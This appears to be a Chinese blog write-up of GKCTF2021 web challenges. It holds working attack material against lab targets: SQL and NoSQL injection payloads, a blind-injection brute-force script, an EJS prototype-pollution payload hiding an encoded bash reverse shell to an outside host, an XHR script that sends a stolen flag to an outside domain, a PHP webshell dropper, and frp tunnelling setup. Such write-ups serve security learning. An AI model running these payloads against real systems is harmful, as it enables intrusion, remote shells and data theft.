GKCTF2021 web复现

babycat

看源码可以看到有注册,但是点击却不行

image-20210921160044458

image-20210921160117255

尝试直接构造发包,注册成功

image-20210921160150203

登陆进来发现只有Download Test可以点,Upload需要admin权限

image-20210921160233604

image-20210921160329421

Download Test可以直接下载源码

image-20210921160408510

可以看到注册的代码里会匹配role,这里for循环的意思是对最后一个匹配的进行强制替换,题目还提示了注释符,这里使用的是gson解析,可以使用注释符

image-20210921160444455

成功获得admin权限

image-20210921160611527

image-20210921160634036

分析upload代码,发现对后缀和内容都有过滤

image-20210921160935580

继续查看别的包

image-20210921162848044

在baseDao发现XMLDecoder调用了xml

image-20210922083059580

可以覆盖然后触发,使用html实体编码绕过

image-20210921164707020

只需要登录或者注册即可触发xml进行反弹

image-20210922085252131

easycms

找到后台页面,提示为5位弱密码,测试位admin/12345

image-20210921184046553

找到主题导出,能够任意文件下载

image-20210921184500839

image-20210921184508334

image-20210921184520474

尝试直接下载flag,成功下载flag

image-20210921184639133

easynode

进来是登陆窗口,没有获取到别的信息,给了源码,进行源码分析

image-20210922101653710

let safeQuery =  async (username,password)=>{
    const waf = (str)=>{
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){

            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }

    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}
app.post('/login',function(req,res,next){

    let username = req.body.username;
    let password = req.body.password;
    safeQuery(username,password).then(
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    ).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  })

这里过滤了需要注入的字符,但是过滤不严谨,可以用数组绕过,但是使用数组绕过的话,调用substr会报错

image-20210922101951457

可以看到这里,如果出现了*,就会进行字符串拼接,这里可以利用js的特性,拼接后数组会变成字符串

image-20210922102126528

进过测试,如果数组不够长的话会把前面的字符替换,可以看到变量完了一遍后还会单个字符再次遍历

image-20210922102624182

image-20210922102531765

可以看到当数组足够长了,遍历一遍后只能读取到后面的1了

image-20210922102758857

image-20210922102721263

payload

username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=*&password=1

image-20210922102957278

继续进行审计,可以发现adminDIV路由,就是在DIV模块下回读取⽤户的⽤户名,之后将DIV的键名和值直接导⼊进去,这里使用extend进行合并,其实也是类似merge方法,并且使用了JSON。parse进行解析,这样能够使得”__proto__“这样的字段不会直接被解析成原型,因此此处存在原型链污染,考虑到这里引入了ejs库:

app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token

    var data =  JSON.parse(req.body.data)

    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql =`select board from board where username = "${username}"`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} )))); 

        board = JSON.parse(JSON.stringify(query[0].board));
        for(var key in data){
            var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
            extend({},JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});

访问admin路由,就会渲染ejs,然后getshell,原理参考https://evi0s.com/2019/08/30/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce/

https://blog.szfszf.top/tech/javascript-%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93-%e5%88%86%e6%9e%90/

image-20210922105301926

首先使用admin权限创建账号__proto__

username=__proto__&password=1

image-20210922144513131

之后利用proto的token构造payload(payload需经过base64和url编码)反弹shell

data={"outputFunctionName":"a;global.process.mainModule.require('child_process').exec('echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8zOGRtMjI1NzQ5LjUxdmlwLmJpei8yNzg3OSAwPiYxJw|base64,-d|bash,-i');a"}

buu的环境貌似有问题,明明添加用户成功了却不能登录

CheckBot

题目给提示本地访问admin.php就给flag,访问damin.php发现有一个标签id为flag,猜测本地访问应该就是真实flag

image-20210922151937803

首页提示post提交url,让机器人去访问

image-20210922152039187

用 iframe 加载内容,然后选其中的 flag 元素的值,使用XMLHttpRequest发送出来

<html>
    <body>
        <iframe id="flag" src="http://127.0.0.1/admin.php"></iframe>
        <script>
            window.onload = function(){
                /* Prepare flag */
                let flag = document.getElementById("flag").contentWindow.document.getElementById("flag").innerHTML;
                /* Export flag */
                var exportFlag = new XMLHttpRequest();
                exportFlag.open('get', 'https://laotun.top/~' + window.btoa(flag) + '~');
                exportFlag.send();
            }
        </script>
    </body>
</html>

提交后获取flag

image-20210922155218473

hackme

进来是个登陆窗口,测试不是弱密码

image-20210924100817749

查看源码看到提示,是nosql

image-20210924101012472

进行抓包可以看到使用的是json格式

image-20210924101256527

构造用永真式

{"username":{"$ne":1},"password": {"$ne":1}}

被检测了

image-20210924101815567

根据题目提示,可以用unicode编码绕过

image-20210924102407708

这里应该使用nosql盲注

{"msg":"登录了,但没完全登录"}为真

{"msg":"登录失败"}为假

盲注脚本

import requests
import string

password = ''
url = 'http://node4.buuoj.cn:29402/login.php'

#盲注当知道了用户名后就可以用正则$regex来爆破密码
while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:

            # When the method is GET
            get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
            # When the method is POST
            post_payload = {
                "username": "admin",
                "password[$regex]": '^' + password + c
            }
            # When the method is POST with JSON
            json_payload = """{"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}""" % (password + c)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(url=url, headers=headers, data=json_payload)    # 简单发送 json

            #r = requests.post(url=url, data=post_payload)
            if '但没完全登录' in r.content.decode():
                password += c
                print(password)

image-20210924105218931

登陆进来得到admin.php

image-20210924105643118

发现可以读取文件,info是phpinfo

image-20210924105958283

猜测能任意文件读取,尝试读取/etc/passwd

image-20210924110056850

尝试读取flag,提示flag在内网中,需要getshell

image-20210924110256747

访问info.php查找利用信息,可以看到使用的是nginx

image-20210924110815742

读取nginx配置文件,/usr/local/nginx/conf/nginx.conf,可以看到还有个weblogic服务

image-20210924111134901

Admin.php可以任意文件读取,那么我们猜测应该可能存在一处文件包含,并且目标环境开启了 session.upload_progress.enabled

image-20210924111358737

那我们可以尝试利用 PHP_SESSION_UPLOAD_PROGRESS 来 Getshell,详情:https://whoamianony.top/2021/05/14/Web%E5%AE%89%E5%85%A8/%E6%B5%85%E8%B0%88%20SESSION_UPLOAD_PROGRESS%20%E7%9A%84%E5%88%A9%E7%94%A8/

POC

<!doctype html>
<html>
<body>
<form action="http://node4.buuoj.cn:29402/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();fputs(fopen('/usr/local/nginx/html/shell.php','w'),'<?php @eval($_POST[laotun])?>');?>" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

可以找到session保存地址

image-20210924112537666

burpsuite 双开,成功写入

image-20210924112953373

蚁剑连接

image-20210924113123294

内网可以直接访问weblogic服务,可以使用反向代理代理出来

image-20210924131427179

使用frp代理出来

配置文件,frps.ini

[common]bind_port = 4444

frpc.ini

[common]server_addr = 47.*.*.*  //外网ipserver_port = 4444[web]type = tcplocal_port = 7001local_ip = weblogicremote_port = 5555

image-20210924133211654

weblogic版本为12.2.1.4.0,经过查找发现正好在 CVE-2020-14882 漏洞的影响范围内

在github上找到poc:https://github.com/GGyao/CVE-2020-14882_ALL

image-20210924155750079

读取flag

image-20210924155823856

评论

  1. z
    Windows Chrome 92.0.4515.131
    2年前
    2022-7-22 10:17:45

    大佬我想问一下为什么whoami师傅的文章都无法访问了啊

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇